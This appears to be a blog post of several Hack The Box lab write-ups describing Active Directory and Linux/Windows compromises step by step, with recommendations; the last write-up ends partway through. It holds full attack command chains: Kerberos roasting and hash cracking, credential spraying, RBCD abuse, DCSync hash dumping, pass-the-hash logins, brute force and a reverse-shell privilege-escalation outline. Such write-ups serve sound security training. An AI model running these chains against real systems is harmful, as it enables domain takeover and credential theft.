DEV Community: nekohige

HTB - Sauna Writeup - no Metasploit

nekohige — Sun, 25 Oct 2026 13:10:18 +0000

Summary

Team member names were listed on a web page, which allowed us to guess valid usernames.
One user account had Kerberos pre-authentication disabled, letting us obtain a shell via AS-REP Roasting.
Running winPEAS revealed that the AutoLogon section still had a username and default password stored in plaintext.
Checking that account in BloodHound showed it had GetChangesAll rights over the DC, allowing us to perform a DCSync attack, retrieve the Administrator’s password hash, and gain full domain compromise.

Recommendation

Assuming this were a real environment, I would recommend the following.

Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
Remove plaintext AutoLogon credentials from the registry (Disable AutoLogon entirely unless there’s a hard operational requirement for it).
Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, GetChangesAll, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports using nmap. Usually take following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.180

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.180

Ports 135(RPC), 139(SMB) and 445(SMB) are open. Also, 53(DNS), 389(LDAP) and 88(Kerberos) are open, too. This suggests a Windows machine having an Active Directory domain.
Port 80(HTTP) is open. So, Web Application is running.
The domain is EGOTISTICAL-BANK.LOCAL.

Let’s check the DNS information.

dig @10.129.95.180 EGOTISTICAL-BANK.LOCAL any

We now know this machine’s hostname is “sauna,” and it’s the domain controller (DC) for the EGOTISTICAL-BANK.LOCAL domain.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.95.180 EGOTISTICAL-BANK.LOCAL sauna.EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hosts

Let's open the Port 80(HTTP).
http://egotistical-bank.local/

Let's enumerate pages.

feroxxuster -u http://EGOTISTICAL-BANK.LOCAL -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

Not very interesting.

We can find the names of team members who may exist as users in this Active Directory at about.html.

Let's make users.txt considering several patterns as follows.

echo 'Fergus.Smith
Hugo.Bear
Steven.Kerb
Shaun.Coins
Bowie.Taylor
Sophie.Driver
fergus.smith
hugo.bear
steven.kerb
shaun.coins
bowie.taylor
sophie.driver
f.smith
h.bear
s.kerb
s.coins
b.taylor
s.driver
fergus
hugo
steven
shaun
bowie
sophie
smith
bear
kerb
coins
taylor
driver
fsmith
hbear
skerb
scoins
btaylor
sdriver
smithf
bearh
kerbs
coinss
taylorb
driverhs
fergussmith
hugobear
stevenkerb
shauncoins
bowietaylor
sophiedriver
smith.fergus
bear.hugo
kerb.steven
coins.shaun
taylor.bowie
driver.sophie
fergus_smith
hugo_bear
steven_kerb
shaun_coins
bowie_taylor
sophie_driver
f_smith
h_bear
s_kerb
s_coins
b_taylor
s_driver
fergus.s
hugo.b
steven.k
shaun.c
bowie.t
sophie.d
fs
hb
sk
sc
bt
sd' > users.txt

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.180 -u '' -p '' --shares --users --groups

Nothing.

nxc smb 10.129.95.180 -u 'guest' -p '' --shares --users --groups

Nothing.

Exploitation

Let’s check which usernames exist and, at the same time, look for any that have the misconfiguration of not requiring Kerberos pre-authentication.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.95.180

There is!

Let's crack the hash!

echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a4cb35dcaaa6e03aa5d71dddf341db1f$840f75360073578b8bbd5b38530bae390fb3778e343946c67c7600db3c96a28f9519dbd2a677fc26653ae903421d685a4f542aa1809edaeeecf0ec51a68fb2f1832e2abf0fc6e2dc65799028b22d07237e1c7fe3438410cdf3d762ef55d469aa3ce1f118f4fc08995ca61675195f5a1ea77b268e692dc773258bf2f7a742a6f49755574f081804f3a00ed19db027843bc5fe4eaff0bb561ac9dc5681b5f35d1caf7b207c4ebfbecfaa466fc26ea9028aa13403b78ea55127ff246bcfbfa3a13c5791f132043ddce642349877731088381f0a5c85ace49b4009442196f6319cba8c42e681b39c9c86db99f6ee859f6ce44d597bf0eceea7778e0a2f1ee9894858' > hash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! fsmith:Thestrokes23

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'; done

WINRM is available.

Let's login.

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23
type C:\Users\FSmith\Desktop\user.txt

We got user.txt.

Privilege Escalation

Let's gather the information of this Active Directory using bloodhound.

nxc ldap 10.129.95.180 -u fsmith -p 'Thestrokes23' --bloodhound --collection All --dns-server 10.129.95.180 && mv ~/.nxc/logs/*bloodhound.zip .

No path found.

Look for any accounts that have an SPN set (i.e., Kerberoastable accounts).

impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Adjust the time.

D=$(ldapsearch -x -H ldap://10.129.95.180 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

faketime "+25127 seconds" impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Let's crack the hash.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! HSmith:Thestrokes23

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23'; done

Nothing the credential can do.

Let’s use winPEAS. I placed winPEASx64.exe in the directory where evil-winrm started, and uploaded it.

upload winPEASx64.exe

./winPEASx64.exe

There is a credential on Autologon section.

svc_loanmanager:Moneymakestheworldgoround!

Let's check what we can do with it.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'; done

Nothing again.

Checking the username under Users, it is not svc_loanmanager but svc_loanmgr.

Let's try is again.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'; done

Yes!

According to bloodhound, svc_loanmgr has GetChangesAll over Domain Controllers, and it says, "You may perform a dcsync attack".

So, let's try a dcsync attack.

impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

We get it!

evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

In BloodHound, when you click on a permission arrow (edge), the details of what you can do with it are shown on the right side.

HTB - Support Writeup - no Metasploit

nekohige — Sat, 24 Oct 2026 07:33:38 +0000

Summary

There was a file readable by the guest account. Furthermore, it included UserInfo.exe, a binary that performs LDAP communication, and we were able to recover a plaintext password from it by analyzing the binary.
The group that support (the account whose shell we obtained) belongs to had GenericAll rights over the DC. We exploited this via RBCD to obtain Administrator. #### Recommendation
Do not leave files readable by guest or anonymous/null sessions.
Review and remove unnecessary group nesting that grants service accounts excessive privileges, and regularly audit ACLs for dangerous rights granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports on the machine using namp. I usually take following 2 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.181

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.181

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
The domain is support.htb.

Let's add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.230.181 support.htb" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.230.181

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.230.181 -u '' -p '' --shares --users --groups

Nothing special.

nxc smb 10.129.230.181 -u 'guest' -p '' --shares --users --groups

Yes! We can see support-tools which is something original to this machine.

Exploitation

Let's see the contents of support-tools.

smbclient //10.129.230.181/support-tools -U 'support.htb\guest%'
ls

There are many interesting files.

Let's download them all.

recurse ON
prompt OFF
mget *

UserInfo.exe sounds interesting. Let's disassemble it.

The code shows it has a function to log in to LDAP.

The encryption method is written there as well.

Let’s use Python to execute it as is.

We extracted the password:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Let's see the contents using ladosearch.

ldapsearch -x -H ldap://10.129.230.181 \
  -D "ldap@support.htb" \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(sAMAccountName=support)"

Here, we found a password: Ironside47pleasure40Watchful.

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' $a; done; done; for p in ssh ftp; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful'; done

We can use WINRM.

Let's login.

evil-winrm -i 10.129.230.181 -u support -p Ironside47pleasure40Watchful
type C:\Users\support\Desktop\user.txt

We got user.txt.

Privilege Escalation

First thing to do: let’s use BloodHound to find a way to escalate privileges.

nxc ldap 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful' --bloodhound --collection All --dns-server 10.129.230.181

There is a path to becoming Administrator, since support has GenericAll over DC. We can expect that RBCD (Resource-Based Constrained Delegation) can be used here.

RBCD (Resource-Based Constrained Delegation) is a mechanism where the target object itself manages the list of "who is trusted to act as a delegate" for it. As long as you have the permission to modify that list (such as GenericAll), you can add your own fake account to it, claim "I'm acting on behalf of Administrator," and legitimately obtain an Administrator-privileged ticket through the normal protocol flow.

Step 0: Let's also resolve the DC's domain name.

echo "10.129.230.181 dc.support.htb DC.support.htb support.htb" | sudo tee -a /etc/hosts

Step 1: By default, AD has a built-in mechanism (ms-DS-MachineAccountQuota) that lets even a regular user create up to 10 computer accounts of their own. We'll use this to create a fake computer account.

impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Passw0rd123!' \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 2: Using the GenericAll permission that support holds, configure the DC to trust delegation requests coming from the fake computer account we just created.

 impacket-rbcd -delegate-to 'DC$' -delegate-from 'FAKE01$' -action write \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 3: Generate a legitimate ticket that lets us log in to the file share on the DC as Administrator.

impacket-getST -spn 'cifs/DC.support.htb' -impersonate Administrator \
  -dc-ip 10.129.230.181 support.htb/'FAKE01$':'Passw0rd123!'

Step 4: Tell the Kerberos client to use the ticket we obtained in Step 3.

export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

Step 5: Obtain the Administrator's hash.

impacket-secretsdump -k -no-pass dc.support.htb -just-dc-user Administrator

Let's login through WINRM.

evil-winrm -i 10.129.230.181 -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

BloodHound has an official homepage. I should follow it: BloodHound.
If we have GenericAll on the DC, RBCD (Resource-Based Constrained Delegation) — a mechanism where the target object itself manages the list of “who is trusted to act as a delegate” for it — can be used. Impacket can walk through this.
.NET was something I’d never dealt with before. It was difficult for me to decompile it and work with it in Python. I relied on AI for that, which I shouldn’t do in the future.

HTB - Sau Writeup - no Metasploit

nekohige — Tue, 20 Oct 2026 12:34:37 +0000

Summary

The target was running an outdated version of request-baskets, which allowed us to perform SSRF.
Through SSRF, we were able to reach an internal service at 127.0.0.1:80, which turned out to be Maltrail.
Maltrail was also running an outdated, vulnerable version that allowed RCE, giving us an initial shell.
Checking sudo -l as the low-privileged user revealed we could run systemctl via sudo without a password, which we leveraged — via a technique documented on GTFOBins — to escalate to root.

Recommendation

Regularly update software to the latest patched versions.
Avoid granting low-privileged users passwordless sudo access to commands unless strictly necessary, and scope any such access as narrowly as possible.
Before granting sudo access to any command, check whether it appears on GTFOBins and could be abused for privilege escalation.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.15.205

Second, it’s time to dig deeper into the open ports.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.15.205

Port 22(TCP) and 55555(HTTP) are open. 55555(HTTP) seems interesting.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.15.205

No interesting UDP pors are open.

Exploitation

Let's check the Port 55555(HTTP).
http://10.129.15.205:55555/web

It is indicated that it uses request-baskets | Version: 1.2.1

Searching on the internet, there is a known vulnerability on request-baskets | Version: 1.2.1: Server-Side Request Forgery.
https://github.com/advisories/GHSA-58g2-vgpg-335q

The following site has a clear explanation on it.
https://notes.sjtu.edu.cn/s/MUUhEymt7

The following site has a PoC.
https://packetstorm.news/files/id/174128

I tried viewing 127.0.0.1:8080 and 127.0.0.1:80 through the SSRF, and found a web application running on 127.0.0.1:80.

We can see that Mailtrail (v0.53) is running.

The following site gives PoC for RCE on Mailtrail (v0.53).
https://packetstorm.news/files/id/174129

We got a shell!

cat /home/puma/user.txt

Privilege Escalation

First, I checked sudo -l, which showed that the user puma can run a specific command with sudo without a password.

sudo -l

GTFOBins shows a way to spawn a shell. The Inherit section shows that it inherits from less, so I ran the sudo command and used !/bin/bash to escape into a shell.
https://gtfobins.org/gtfobins/systemctl/

https://gtfobins.org/gtfobins/less/

sudo  /usr/bin/systemctl status trail.service

I got the root shell!

Lessons Learned

SSRF allowed me to make requests that should only be possible from the server side, from what should normally be a controlled client-side position. In this case, I was able to connect to an internal service at 127.0.0.1:80. Depending on the target, other schemes like file:// might also have been usable. I’ll remember SSRF as this kind of technique — making the server issue requests on the attacker’s behalf, reaching places the attacker couldn’t normally reach directly.

HTB - Forest Writeup - no Metasploit

nekohige — Tue, 20 Oct 2026 04:35:51 +0000

Summary

We were able to enumerate domain usernames via SMB without authentication (null session).
Among those users, some had Kerberos pre-authentication disabled, which allowed us to perform AS-REP Roasting and crack svc-alfresco’s password.
Using that password, we could login as svc-alfresco and used BloodHound to map a privilege-escalation path to Administrator via DCSync.

Recommendation

Assuming this were a real environment, I would recommend the following.

Restrict anonymous/null-session enumeration of domain usernames over SMB.
Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p- to scan all 65535 TCP ports
--open to only show ports that are open
-n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
--min-rate 5000 to speed up the scan by sending at least 5000 packets per second
-oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.210

Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)

grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
cut -d/ -f1 to strip off the /open part, leaving just the port number
paste -sd, to join all those numbers from separate lines into one comma-separated string
the result is stored in the ports variable

sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.210

-sS for a stealthy SYN scan
-Pn to skip host discovery
-p "$ports" to limit the scan to only those open ports
-A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
-oN scan_deep.txt for saving the output to scan_deep.txt

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.95.210 htb.local" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.95.210

Many UDPs are open. We may come back.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.210 -u '' -p '' --shares --users --groups

There are usernames!

Organize them into users.txt.

echo 'sebastien
lucinda
svc-alfresco
andy
mark
santi' > users.txt

Exploitation

Let’s try AS-REP Roasting, since we already know the usernames that exist on the machine. If a user has pre-authentication disabled, the following command gets us an AS-REP hash for offline password cracking.

impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/

It says “Requested starttime is later than end time.” So we need to check the time difference between the target machine and our own.

The following command gives us the time difference.

D=$(ldapsearch -x -H ldap://10.129.15.154 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

Let's use faketime to adjust the time.

faketime "+87332 seconds" impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/

We get the AS-REP hash!

Let's crack it.

hashcat -m 18200 npusers /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! svc-alfresco:s3rvice

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice'; done

We can use WINRM.

Let's login.

evil-winrm -i 10.129.15.154 -u svc-alfresco -p s3rvice

type C:\Users\svc-alfresco\Desktop\user.txt

We get the user.txt.

Privilege Escalation

Let’s first use BloodHound to understand how to go from the owned user to Administrator.

bloodhound-ce-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.15.154 -c all

Upload the files onto BloodHound and use pathfinding from svc-alfresco to Administrator.

There is a path as follows: svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions, which has WriteDacl over HTB.LOCAL — the domain that contains Administrator. So let’s join Exchange Windows Permissions, grant svc-alfresco DCSync rights over HTB.LOCAL, and then use secretsdump to dump Administrator’s hash.

Add svc-alfresco to Exchange Windows Permissions.

net group "Exchange Windows Permissions" svc-alfresco /add /domain

A relogin is necessary for the configuration to take effect.

Use PowerView to grant svc-alfresco DCSync right.

upload PowerView.ps1


. .\PowerView.ps1

Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Verbose

Use secretsdump to retrieve Administrator's hash.

impacket-secretsdump -just-dc  htb.local/svc-alfresco:'s3rvice'@10.129.15.154

Check what the Administrator and its hash can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'; done

evil-winrm -i 10.129.15.154 -u Administrator: -H 32693b11e6aa90eb43d32c72a07ceea6

type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

BloodHound is a great way to figure out how to get an Administrator shell. GenericAll lets you do almost anything to the target object. WriteDacl can lead to DCSync. I’ll learn about other rights for future challenges.

HTB - ServMon Writeup - no Metasploit

nekohige — Sat, 17 Oct 2026 13:48:15 +0000

Summary

Anonymous login was allowed on the FTP server, exposing a text file that provided a useful hint for further exploitation.
The target was running vulnerable versions of NVMS-1000 and NSClient++.

Recommendation

Disable anonymous login on the FTP server so it cannot be used.
Use the latest versions of NVMS-1000 and NSClient++ with no known vulnerabilities, or consider switching to an alternative system.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p- to scan all 65535 TCP ports
--open to only show ports that are open
-n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
--min-rate 5000 to speed up the scan by sending at least 5000 packets per second
-oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.227.77

Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)

grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
cut -d/ -f1 to strip off the /open part, leaving just the port number
paste -sd, to join all those numbers from separate lines into one comma-separated string
the result is stored in the ports variable

sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.227.77

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p "$ports" to limit the scan to only those open ports
-A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
-oN scan_deep.txt for saving the output to scan_deep.txt

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open, while 53 (DNS), 389 (LDAP), and 88 (Kerberos) are closed. This suggests a standalone Windows machine that isn’t part of an Active Directory domain.
Port 21 (FTP) is open, and anonymous login is allowed.
Port 80 (HTTP) is open, indicating a web server is running. It's worth investigating further to see what application it’s hosting.

Some udp ports are open. We may come back.

Let's check Port 21(FTP) with anonymous login.

ftp 10.129.227.77
# anonymous

Checking the inside, we can find that there are two users: Nadine and Nathan.

In Nadine folder, there is a file called Confidential.txt so download it.

In Nathan folder, there is a file called Note to do.txt so download it, too.

Confidential.txt says there is a Passwords.txt on the Desktop. But, we cannot find any credentials now.

Notes to do.txt mention about NVMS, NSClient and SharePoint.
Also, it infers that a public access to NVMS is still allowed. I'm not sure what is NVMS yet.

Searching the web, NVMS is Network Video Management System which records, manages and monitors network camera.
And, it has a Directory Traversal if it's NVMS-1000: https://www.exploit-db.com/exploits/47774.

When we open the Port 80 in the browser, it indicates NVMS-1000. So, we can try the Directory Traversal we found.
http://10.129.227.77/

Exploitation

It works!

Since Confidential.txt mentions that there’s a Passwords.txt file on the Desktop, let’s grab it.

These credentials can be used for a password brute-force attack.

echo '1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$' > pass.txt

We know two usernames from the FTP enumeration.

echo 'Nadine
Nathan' > users.txt

Let's start a password brute-force attack.

hydra -L users.txt -P pass.txt ssh://10.129.227.77 -t 4

We get a credential: Nadine:L1k3B1gBut7s@W0rk.

Let's login.

ssh Nadine@10.129.227.77

We get user.txt!

type C:\Users\Nadine\Desktop\user.txt

Privilege Escalation

Checking the Program Files, there is a third party software: NSClient++ which is mentioned in the Notes to do.txt.

ls 'C:\Program Files','C:\Program Files (x86)',"$env:USERPROFILE\Downloads"

According to HackTricks, there may be web credentials in nsclient.ini.
https://hacktricks.wiki/windows-hardening/windows-local-privilege-escalation/index.html

Let's see it.

 type 'C:\Program Files\NSClient++\nsclient.ini'

We get password! ew2x6SsGTxjRwXOT.

After some googling, I found the official site for NSClient++. It explains how to use the commands.
https://nsclient.org/docs/quick-start/

I tried as follows to get its version.

After searching the internet, I found its vulnerability.
https://github.com/advisories/GHSA-jr25-22p3-gm6r

First, I opened the Port 8443 for nsclinent++. But, I couldn't login.

According to nsclient.ini, only 127.0.0.1 is allowed to connect.

 type 'C:\Program Files\NSClient++\nsclient.ini'

I attempted pivoting.

ssh -N -L 0.0.0.0:9090:127.0.0.1:8443 Nadine@10.129.227.77

-N for SSH connection to the target without running a remote shell
-L 0.0.0.0:9090:127.0.0.1:8443 to set up local port forwarding so that any connection to port 9090 on my machine gets tunneled through SSH and forwarded to 127.0.0.1:8443

Get through!

Then, I did the priviledge escalation as wirtten in exploit-db.
https://www.exploit-db.com/exploits/46802

'1. Grab web administrator password - already acquired: ew2x6SsGTxjRwXOT

'2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

'3. Download nc.exe and evil.bat to c:\temp from attacking machine - I made it as follows.

mkdir temp

'4. Setup listener on attacking machine

'5. Add script foobar to call evil.bat and save settings

'6. Add schedulede to call script every 1 minute and save settings

'7. Restart the computer and wait for the reverse shell on attacking machine - Clicking the Control button in the upper-right corner lets us restart NSClient, and we just wait a little...

We got it!

type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

I learned that a key-value configuration format can be abused for command execution.

HTB - UpDown Writeup - no Metasploit

nekohige — Mon, 12 Oct 2026 13:26:33 +0000

Summary

A .git repository was exposed on the public-facing website. By examining it, the web application’s architecture could be understood, including the way to open sub-path: dev. The file upload functionality did not restrict the .phar extension, and proc_open was not included in disable_functions, allowing a shell to be obtained via PHAR deserialization. From there, an SUID ELF binary (siteisup) owned by a higher-privileged user was found to be executable. This binary was vulnerable to Python2’s input() behavior (which evaluates input as a Python expression), allowing code execution as that user. For privilege escalation to root, easy_install could be executed via passwordless sudo, which is a well-known method of obtaining a root shell.

Recommendations

Assuming this were a real-world environment, I would recommend the following:

The .git repository should never have been exposed on the public website.
No unnecessary or hidden sub-paths/directories should have been accessible.
The .phar extension should have been included in the upload restriction list.
proc_open should have been added to disable_functions.
Python2 should no longer be used, as it has reached end-of-life and contains unsafe behaviors such as this input() issue.
easy_install should not be executable via passwordless sudo — if sudo access is required at all, it should be limited and password-protected.

Reconnaissance

First of all, let's recon the machine using nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.117

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.117

22(SSH) and 80(HTTP) are open. So, this machine is running Linux.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.117

No interesting UDP.

Let' open the 80 in the browser.
http://10.129.52.117/

A domain name is on the page: siteisup.htb.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.52.117 siteisup.htb" | sudo tee -a /etc/hosts

Let's open the page again using the domain.
http://siteisup.htb/

The site seems to check whether the website we enter is running or not.

Enumeration

Let's enumerate pages that this site has.

feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak

There is a git repository.

Let's take it all.

git-dumper http://siteisup.htb/dev/.git/ ./loot

Let's see the logs.

git -c safe.directory='*' log --oneline --all

It seems no password or credentials.

Back to the website. Let’s start sub-domain enumeration.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://siteisup.htb/ -H 'Host: FUZZ.siteisup.htb' -fs 1131

We found the subdomain dev.

Add dev to /etc/hosts.

echo "10.129.52.117 siteisup.htb dev.siteisup.htb" | sudo tee -a /etc/hosts

Exploitation

Let's open the page: dev.siteisup.htb.

Forbidden...

Going back to the git logs, there is an .htaccess file that will give us a clue as to why it’s forbidden.

git -c safe.directory='*' show bc4ba79

Adding the header Special-Dev: only4dev will bypass the restriction.

Let's add the header value using Burp Suite.

Let's open the page again.
http://dev.siteisup.htb

The site is up! It has a file upload function.

According to the file (checker.php) we obtained earlier via git-dumper, this function blocks certain extensions so that PHP files cannot be uploaded.
Also, it states that a correct file will be uploaded to the uploads directory.

Next, according to index.php, it includes a PHP file specified via the GET parameter page.

The forbidden extensions don’t include .phar, which stands for PHP archive — a format that can be used to bypass the upload filter.

Let's make a php file that shows phpinfo().

echo '<?php phpinfo(); ?>
http://10.10.17.153:8000' > php-info.php

I added http://10.10.17.153:8000 because an article said the file won’t be deleted as long as Kali is listening on the port indicated. However, it’s not working.

